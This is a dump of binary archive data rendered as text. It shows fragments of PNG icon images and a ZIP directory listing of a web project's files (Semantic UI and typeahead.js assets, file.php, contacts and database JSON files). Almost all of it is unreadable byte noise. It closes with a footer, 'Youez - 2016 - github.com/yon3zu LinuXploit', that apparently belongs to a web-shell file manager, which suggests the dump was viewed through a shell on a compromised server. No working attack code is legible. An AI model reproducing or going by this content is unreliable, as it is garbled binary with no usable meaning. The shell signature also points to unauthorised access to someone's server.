(�A��/�ۄ��)��ޭ!�)ƏR1��@�
/��q��j
���-8)E�4)s�?s����V�L��a�ۘn��6�v�RΣ�q]���yb�4!�ޘ_�Q�۟�u�[k�#��45����T�j��a�<��Ċ纖yF=�֥7��@�.k��j�P���.K��x��}x��}?�q�q�v9��c�`��|;�w+`�Dwc�I�sL	N`�:����oT�!9�_X���r�Ǐ�y�ֱ��$YMN����k�낐~�������72;y
�=Z�5�k=~r.�Z��S�۵��E��t_�'�{��J�IEND�B`�PK!�;�images/emailButton.pngnu�[����PNG


IHDR��h6tRNS���7X}�IDATxc�O"�����???�4c������߷_�<y��Ϋ�����������÷?/>����קD�.�X4�,|ڴ����ן�<|��ڳ@����5`ṷ� ���u�/�l�0�y�����e�����N����O@��s�C���y�O��|�]�q����T˦��IEND�B`�PK!����images/con_address.pngnu�[����PNG


IHDR��h6tRNS���7X}uIDATxu�)� ��F��h4R�F��H4R�D"�H4R�D���o�w��x�|��?,@�n�^�߇o17�K0��*n({_��L�#
l�xf��\��?���~��t`��_�ޙ����o��oy��c�X����IY*�P: ���{����&�f���^1]?�DVC������H(����L���wP|<��q# u��9��T��-ҐN_�Z��;@O�ր5�O'�̟�a�(�����"��.����8�a�G�(H�ց36irG�^�
:�0�Q�%�+����"M#�{`o��M�xq
S�Wo���R�e>��H/�k�wZ������U����l�����]�M2����������IEND�B`�PK!�]�N  images/con_mobile.pngnu�[����PNG


IHDR�a�IDATx���k��`ѻ�ޮj�֫m�5b5Fm�qmm_m۶ט��o��;_t�#E��F�z�+�F�sUǜ���4]{��p�>�H��ȣ�}���|/��޽M����;b\!J�<�P�V�̅m��G���Y�M��3�Ӕ�����7QT�U
àW�q�)J������pp�z����ˡi���Rᷤe��h9��(��n���ݞ!��*&L)_�F�8�ȁ�`� ���f�=TΧ�ӘGN���H%��1u�ѯHG3�V�+"xbNCI�(�)	����G������
�<��^�.g2,�b��x�!tE�e�0�^�MS%#�
�c4Ԯ_�@��"cˠj�vPTB<-g@d���V�:����h�0��|t
Ȃ
�2�i�����i�^⧜G���	S���4��*�`Ҩ�Okuj{�f�<���7\n�Q�6u�Μ=����'����<�?M����Ѻ'_�nIEND�B`�PK!h�G���images/con_fax.pngnu�[����PNG


IHDR�a_IDATx��)�� ��GF�E"�X$�E"�����^�J��ك��8���$}�CԲ,ڶM뺞P��T���:���D�
r)
1�9G��ak�ƈ���0�����X�O@�Z�RR�YƘݠ�*
u�M�����¨cIrթ3N�5�QH��Es��	^3��&�e�Ȃbp;�m�aպ,�"�v�~�L�/D���*[<�a�ք7ꛘw�=D@P�SJ/�.��?
�k�FؽWwN�$���C��y�5�3���`_��6b�`��3��!F�p�� �(�^/c�K�DŽu^���xeJ�lx@~&L����
X@�X��o�g�Dit��tIEND�B`�PK!�b��\�\dist/semantic.min.cssnu&1i�PK!$�"ZZ]dist/semantic.jsnu&1i�PK!ZnG��m�m+�ydist/themes/default/assets/images/flags.pngnu&1i�PK!�^���*�**��dist/themes/default/assets/fonts/icons.eotnu&1i�PK!J�t��*$dist/themes/default/assets/fonts/icons.svgnu&1i�PK!,kq#,a,a+D
dist/themes/default/assets/fonts/icons.woffnu&1i�PK!�S�s�n�n*�ndist/themes/default/assets/fonts/icons.otfnu&1i�PK!���_�T�T*��dist/themes/default/assets/fonts/icons.ttfnu&1i�PK!ȗ����,3 dist/themes/default/assets/fonts/icons.woff2nu&1i�PK!�k�t�tOL!dist/semantic.cssnu&1i�PK! �5�3�3c�,dist/semantic.min.jsnu&1i�PK!I�
�..
G�0document.htmlnu&1i�PK!�4��1css/main.min.cssnu&1i�PK!
`"O"O"�1css/main.cssnu&1i�PK!�+S|T�T��A1css/ionicons.min.cssnu&1i�PK!�v�h��
2css/hightlight.cssnu&1i�PK!�E��i�i�52css/ionicons.cssnu&1i�PK!��m�A�A��2file.phpnu�[���PK!�L*~~�/4img/favicon.iconu&1i�PK!���

�44img/logo.pngnu&1i�PK!�,�p�B�B
nC>img/logos.pngnu&1i�PK!3c��\�\���>fonts/ionicons.ttfnu&1i�PK!��2����GgAfonts/ionicons.eotnu&1i�PK!�ج�

?Cfonts/ionicons.svgnu&1i�PK!�y�c@	@	iWHfonts/ionicons.woffnu&1i�PK!��X��X�X�`Idomicile.jpgnu&1i�PK!��dszFzF"͹Iplugin/typeahead.js/hogan-2.0.0.jsnu&1i�PK!�!F
F
)�Jplugin/typeahead.js/jquery.clearsearch.jsnu&1i�PK!m�CrL5L5%8Jplugin/typeahead.js/bloodhound.min.jsnu&1i�PK!	-�b_�_�%�CJplugin/typeahead.js/handlebars.min.jsnu&1i�PK!�(�"�"�!��Jplugin/typeahead.js/bloodhound.jsnu&1i�PK!Ot-Rڭڭ+�Kplugin/typeahead.js/typeahead.bundle.min.jsnu&1i�PK!`��n�n�'54Lplugin/typeahead.js/typeahead.bundle.jsnu&1i�PK!u>H"y"y+��Mplugin/typeahead.js/typeahead.jquery.min.jsnu&1i�PK!�"u��'wENplugin/typeahead.js/typeahead.jquery.jsnu&1i�PK!����^^
�VOdatabase.jsonnu&1i�PK!g���%%
G[Oindex.htmlnu&1i�PK!�������wOjs/snap.svg-min.jsnu&1i�PK!�Cw7KK��Pjs/main.min.jsnu&1i�PK!�XVZZ:�Pjs/database.jsonnu&1i�PK!�QJQJ
ԪPjs/skycons.jsnu&1i�PK!)G�9��
b�Pjs/main.jsnu&1i�PK!~���R�Rz
Qjs/jquery-3.1.1.min.jsnu&1i�PK!u�}�E�Eu]Rdata/contacts_2.jsonnu&1i�PK!w��
��`�Sdata/contacts_1.jsonnu&1i�PK!AW�d����Timages/con_info.pngnu�[���PK!:I�Z����Timages/con_tel.pngnu�[���PK!�;�םTimages/emailButton.pngnu�[���PK!�����Timages/con_address.pngnu�[���PK!�]�N  #�Timages/con_mobile.pngnu�[���PK!h�G�����Timages/con_fax.pngnu�[���PK33�b�T

Youez - 2016 - github.com/yon3zu
LinuXploit